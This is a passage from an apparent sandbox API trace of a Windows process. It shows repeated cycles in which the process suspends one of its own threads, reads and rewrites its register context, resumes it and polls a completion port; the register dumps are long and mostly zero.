VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.164] ResumeThread (hThread=0x194) returned 0x1 [0154.164] CloseHandle (hObject=0x194) returned 1 [0154.164] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.275] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.275] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.385] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.386] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0154.386] SuspendThread (hThread=0x194) returned 0x0 [0154.386] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd66e74, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.387] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.387] ResumeThread (hThread=0x194) returned 0x1 [0154.387] CloseHandle (hObject=0x194) returned 1 [0154.387] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.496] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.496] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.609] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.610] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0154.610] SuspendThread (hThread=0x194) returned 0x0 [0154.610] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fac0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f842640, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.611] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fab8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.612] ResumeThread (hThread=0x194) returned 0x1 [0154.612] CloseHandle (hObject=0x194) returned 1 [0154.612] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.728] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.728] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.840] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.841] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0154.841] SuspendThread (hThread=0x194) returned 0x0 [0154.841] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f968, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc655a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, 